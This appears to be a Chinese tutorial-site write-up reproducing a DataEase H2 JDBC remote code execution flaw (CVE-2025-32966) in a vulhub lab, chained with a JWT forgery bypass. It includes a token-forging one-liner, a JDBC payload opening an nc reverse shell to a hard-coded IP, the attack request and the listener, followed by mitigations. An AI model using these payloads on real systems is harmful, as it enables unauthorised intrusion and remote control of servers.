一聚教程网:一个值得你收藏的教程网站

最新下载

热门教程

DataEase H2 JDBC远程代码执行漏洞CVE-2025-32966复现过程

时间:2026-06-02 16:15:01 编辑:袖梨 来源:一聚教程网

DataEase作为开源BI工具存在高危漏洞,其2.10.7及以下版本因未过滤JDBC连接参数,导致攻击者可利用H2数据库特性实现远程代码执行。本文将详细分析漏洞原理并提供完整复现方案。

简介

DataEase是一款可替代Tableau的开源BI工具。在2.10.8版本之前,系统存在严重安全缺陷,经过身份验证的用户可通过后端JDBC连接实现远程命令执行。

具体而言,2.10.7及以下版本的/de2api/datasource/validate接口会将用户提交的H2 JDBC连接串直接传入CalciteProvider#getConnection方法,未做任何参数过滤。攻击者只需获得合法会话,就能在INIT参数中注入SQL语句,配合H2的CREATE ALIAS语法内嵌Java代码。当H2建立连接时,这些代码会被编译执行,最终在DataEase的JVM环境中实现任意命令执行。

虽然官方将该漏洞标记为需要认证,但由于同版本线中的CVE-2025-49001允许伪造管理员JWT,攻击者通常会将两个漏洞串联使用,实现完整的未授权RCE攻击链。

靶场搭建

使用vulhub环境快速搭建测试靶场:

cd vulhub/dataease/CVE-2025-32966
docker-compose up -d

该环境基于DataEase 2.10.7版本构建。

漏洞利用步骤

访问目标系统后,按照以下流程实施攻击:

伪造管理员凭证

DataEase 2.10.10及以下版本的CommunityTokenFilter存在JWT校验缺陷:当HMAC签名校验失败时,系统仅记录日志并返回401状态码,但未中断后续流程。由于上一级TokenFilter仅对JWT做decode而不验证签名,攻击者可伪造管理员凭证(uid=1)执行敏感操作。

生成伪造token的命令如下:

python3 -c "import jwt,time; print(jwt.encode({'uid':1,'oid':1,'exp':int(time.time())+3600}, 'any-secret', algorithm='HS256'))"

构造恶意请求

向/de2api/datasource/validate接口发送包含恶意H2 JDBC连接的POST请求。configuration字段应为base64编码的JSON数据,其中jdbc字段包含精心构造的H2连接字符串。

示例payload:

{
  "jdbc":"jdbc:h2:mem:pwn;MODE=MSSQLServer;INIT=CREATE ALIAS EXEC AS $$void exec() throws java.io.IOException { Runtime.getRuntime().exec(new String[]{"/bin/sh","-c","nc 172.17.141.158 4343 -e /bin/sh"}); }$$;CALL EXEC()",
  "username":"",
  "password":"",
  "driver":"org.h2.Driver"
}

发送攻击数据包

使用伪造的管理员token发送恶意请求:

POST /de2api/datasource/validate HTTP/1.1
Host: ip:8100
Content-Type: application/json
X-De-Token: 伪造的token
{"name":"p1","type":"h2","configuration":"base64编码的恶意配置"}

获取反弹shell

在攻击机上指定端口,等待目标系统连接:

nc -lvp 4343

防御措施

  1. 立即升级至DataEase v2.10.10或更高版本
  2. 部署Web应用防火墙增强防护
  3. 遵循最小权限原则,严格限制非信任用户权限

该漏洞再次提醒我们开源组件安全的重要性,及时更新版本和加强输入验证是防范此类攻击的关键措施。建议所有使用DataEase的组织立即检查版本并采取相应防护手段。

热门栏目